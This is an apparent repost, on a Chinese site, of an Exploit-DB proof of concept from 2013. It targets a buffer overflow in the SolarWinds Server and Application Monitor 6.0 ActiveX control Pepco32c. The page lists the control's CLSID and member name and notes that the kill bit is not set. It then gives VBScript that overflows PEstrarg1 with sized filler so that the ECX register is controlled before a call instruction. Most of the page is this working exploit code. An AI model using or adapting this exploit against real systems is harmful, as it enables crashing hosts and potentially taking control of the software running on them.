SolarWinds Server and Application Monitor – ActiveX ‘Pepco32c’ Buffer Overflow - 体验盒子

作者： blake

日期： 2013-09-22

类别：

dos

平台：

windows

来源：https://www.exploit-db.com/exploits/28463/

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

<html>

<!--

SolarWinds Server and Application Monitor ActiveX (Pepco32c) Buffer Overflow

Vendor: SolarWinds

Version: 6.0

Tested on: Windows 2003 SP2 / IE

Download: http://www.solarwinds.com/downloads/

Author: Blake

CLSID: 8AE9F829-D587-42BB-B5C1-09EE8D9547FA

Path: C:\Program Files\Common Files\SolarWinds\Pepco32c.ocx

Member Name: PEstrarg1

Progid: PEPCO32CLib.Pepco

Safe for Scripting: False

Safe for Initialization: False

Kill Bit: False

-->

' 132 bytes in we control ecx before the call ecx instruction

buffer = String(132, "A")

ecx = String(4, "B")

junk = String(3086, "C")

arg1 = buffer + ecx + junk

target.PEstrarg1 = arg1

</script>